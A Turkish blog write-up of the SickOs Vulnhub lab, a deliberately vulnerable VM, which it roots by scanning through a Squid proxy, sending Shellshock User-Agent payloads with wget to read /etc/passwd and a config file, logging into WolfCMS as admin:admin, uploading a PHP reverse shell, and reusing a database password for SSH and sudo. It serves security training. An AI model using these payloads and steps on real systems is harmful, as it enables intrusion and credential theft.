SickOs Vulnhub – Writeup

SickOs isimli zafiyetli makine için root olmamız isteniyor. Makineyi indirebileceğiniz link;

Sanal makineye (Vmware) aktardığımız zafiyetli makinenin IP adresi: 192.168.1.46 (Sizde farklı olabilir)
Öncelikle makine için port taraması gerçekleştireceğiz.

  • nmap -sS -sV -Pn -n -p- 192.168.1.46
    • Tüm portlara  yönelik nmap taraması gerçekleştiriyorum. Fakat 3128 de Squid proxy bulunduğunu görüyorum.
    • Squid Proxy, http, https ve ftp gibi web servisleri için bir proxy serverdır.

ekran-resmi-2017-02-22-12-09-45

Biraz araştırma yaptığımda metasploit içerisinde kullanabileceğim böyle bir modül olduğunu gördüm. Bu modül ile tarama yaptığımda da 80 nolu portun açık olduğunu fark ettim.

squid

  • Ancak proxy nedeni ile 80 nolu porta direk giden istekler başarısız olmaktadır. Bu nedenle tarayıcı üzerinde bir yapılandırma yapmaya karar verdim. Bu yapılan yapılandırma için tarayıcı ayarlarından preferences -> advanced -> network -> settings yoluyla proxy ayarlarını düzenledim. Böylece web sayfasına erişebileceğimi düşündüm.

ekran-resmi-2017-02-22-13-38-03

Ayarlar sonucunda hedef ip adresinin 80 nolu portuna tarayıcı üzerinden bir istek attığımda başarılı bir şekilde cevap döndüğünü görüyorum.

ekran-resmi-2017-02-22-13-07-25

  • nikto -h 192.168.1.46 -useproxy http://192.168.1.46:3128
    • Bu aşamadan sonra web servisi nikto ile taramaya başladım.  Squid proxy görmemden sonra burada nikto aracının proxy özelliğini kullandım. (-useproxy)

ekran-resmi-2017-02-22-12-19-56ekran-resmi-2017-02-22-12-20-33ekran-resmi-2017-02-22-12-22-37

Nikto ile yaptığım tarama sonucunda aşağıdaki bilgilere eriştim:

  • Shellshock zafiyeti (/cgi-bin/status)
  • robots.txt
  • /.bash_history

 robots.txt dosyasında  bakalım neler bulunuyor.

ekran-resmi-2017-02-22-13-07-42

  • 192.168.1.46/.bash_history
    • Nikto taraması sonucunda bulduğum .bash_history dosyasını tarayıcı üzerinden açmak istediğimde karşıma güzel bilgiler çıkıyor. Bu bilgilerle makinenin dizin yapısı hakkında biraz bilgi sahibi oluyoruz.

ekran-resmi-2017-02-22-13-22-02

  • /var/www altında wolfcms olduğunu görünce web servisin orada çalıştığını bilerek alt dizin olarak wolfcms yoluna gidiyoruz.  Böylece karşımıza bir web sayfası çıkıyor.

ekran-resmi-2017-02-22-13-37-49

Şimdi asıl meselemiz olan shell elde etmeye gelecek olursak bu işlemi 2 türlü gerçekleştirebiliriz.

  1. Nikto sonucunda bulduğumuz shellshock zafiyeti ile
  2. Wolfcms sisteminde dosya yükleme yerinden bir php shell yükleyerek.

1.Yöntem: Shellshock

Shellshock zafiyeti, bash kabuğunda komutları çalıştıran cgi uygulamasındaki bir zafiyettir. Bu zafiyeti  exploit ederek bilgiler elde edebiliriz.

Http başlığına eklenen “User-Agent” adındaki zararlı kod, sunucu tarafından çalıştırılan cgi uygulamasına istek yapar. Bu zararlı kod apache servisindeki yetkiler doğrultusunda çalışacaktır.

  • wget -q -O- -U “() { test;};echo \”Content-type:text/plain\”; echo; echo; /bin/cat “/etc/passwd”” http://192.168.1.46/cgi-bin/status -e use_proxy=on -e http_proxy=http://192.168.1.46:3128

ekran-resmi-2017-02-22-14-27-57

  • wget -q -O- -U “() { test;};echo \”Content-type:text/plain\”; echo; echo; /bin/cat “/var/www/wolfcms/config.php”” http://192.168.1.46/cgi-bin/status -e use_proxy=on -e http_proxy=http://192.168.1.46:3128

Aynı yöntemle dizini de biraz öğrendiğimize göre /var/www/wolfcms/config.php dosyasını da okumaya çalıştım. Böylece veritabanı bilgilerine ulaşmış oluyorum.

ekran-resmi-2017-02-22-14-29-58

2.Yöntem: Wolfcms admin sayfası

Wolfcms nedir biraz araştırayım ve web sayfasında biraz dolanayım dedim.

ekran-resmi-2017-02-22-23-05-45

Sayfaların /wolfcms/? olarak geldiğini görerek admin.html deneyeyim dedim.

ekran-resmi-2017-02-22-19-32-38

Bu istekle redirect olarak beni /?/admin/login sayfasına yönlendirdi. Admin giriş sayfası geldi.

ekran-resmi-2017-02-22-19-31-19

Bir giriş paneli ile karşılaşıyorsak yapmamız gereken adımlar aşağıdaki gibidir:

  • Sıkça kullanılan varsayılan hesap bilgileri ile giriş sağlamaya çalışmak
  • Kaba kuvvet saldırısı gerçekleştirmek
  • SQLi saldırısı gerçekleştirmek

Ancak ifade ettiğimiz gibi herhangi bir zorlu test işlemine tabi tutmadan, sıkça kullanılan varsayılan hesap bilgilerini denemekte fayda var diyip bir test yaptım.

En basit giriş olan kullanıcı adı: admin parola:admin giriş bilgilerini denedim.

ekran-resmi-2017-02-22-19-34-23

Giriş başarıyla gerçekleşti artık admin sayfasındayım.

ekran-resmi-2017-02-22-19-34-47

Burada saldırı olarak ilk düşündüğüm yer dosya yükleme bölümü oluyor.

ekran-resmi-2017-02-22-19-35-36

Pentest monkey shell dosyası indirip ufak bir düzenleme yaptıktan sonra sisteme yüklüyorum.

  • Pentest Monkey Shell dosyası
    • http://pentestmonkey.net/tools/web-shells/php-reverse-shell

ekran-resmi-2017-02-22-19-38-14

Yükleme sayfasında public/ bulunduğuna göre, yüklenen dosyaları wolfcms/public  dizininde bulacağımı düşündüm ve bu yola tarayıcı üzerinden gitmeye çalıştığımda yüklediğim shell.php dosyasını buluyorum.

ekran-resmi-2017-02-22-19-42-39

Netcat yardımıyla portu dinliyorum ve tarayıcıda shell.php dosyasına tıklayınca terminalde shell e düştüm.

  • nc -lvp 1337 
    • l: dinleme modu
    • v: bilgi verme modu
    • p: port bilgisi

ekran-resmi-2017-02-22-19-44-49

  • Interactive shell almak için;
    • python -c ‘import pty;pty.spawn(“/bin/bash”)’
  • Kullanıcı yetkisini öğrenmek için;
    • $id 

işlemlerini gerçekleştirdim.

Daha önce gördüğümüz /var/www/wolfcms dizinine gidiyorum ve içerisindeki dosyaları listeliyorum.

ekran-resmi-2017-02-22-19-46-46

Önemli dosya olan config.php dosyasını görüntüledim ve veritabanı bilgilerine eriştim.

ekran-resmi-2017-02-22-19-47-01

Şimdi .bash_history dosyasında /home/sickos dizinini gördüğümüz için kullanıcı adını sickos yazarak ssh bağlantısı gerçekleştirmeye çalışıyorum. Tam bu noktada dikkat etmemiz gereken bir işlem oluyor. Unutmayalım ki, bir alanda elde ettiğimiz giriş bilgileri başka hesaplarda kullanılıyor olabilir. Bu nedenle elde edilen bu bilgileri bu hesaplara giriş işleminde denemekte fayda olacağını düşünüyorum.

Bu nedenle SSH erişimi sırasında sorulan parola bilgisi için elimde bulunan veritabanı parolası olan john@123 parolasını deniyorum. Başarılı bir şekilde giriş yapabildiğimi gördüm.

ekran-resmi-2017-02-22-14-58-48

$id ile yine kullanıcı yetkisini öğreniyorum ve root haklarına sahip olmadığımı görüyorum. Root olmak için, daha önce öğrendiğimiz sudo -s  komutunu kullanıyorum. Parolam olan john@123 parolasını giriyorum. Artık makine de root yetkilerine sahibim.

ekran-resmi-2017-02-22-15-00-50

root dizini altına gidiyorum. ls -la ile içindeki klasörlere ve dosyalara bakıyorum. a0216ea4d51874464078c618298b1367.txt dosyası dikkatimi çekiyor ve içini okuyorum.

İşlem tamamlandı :)

ekran-resmi-2017-02-22-15-02-49

743 total views, 2 views today

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir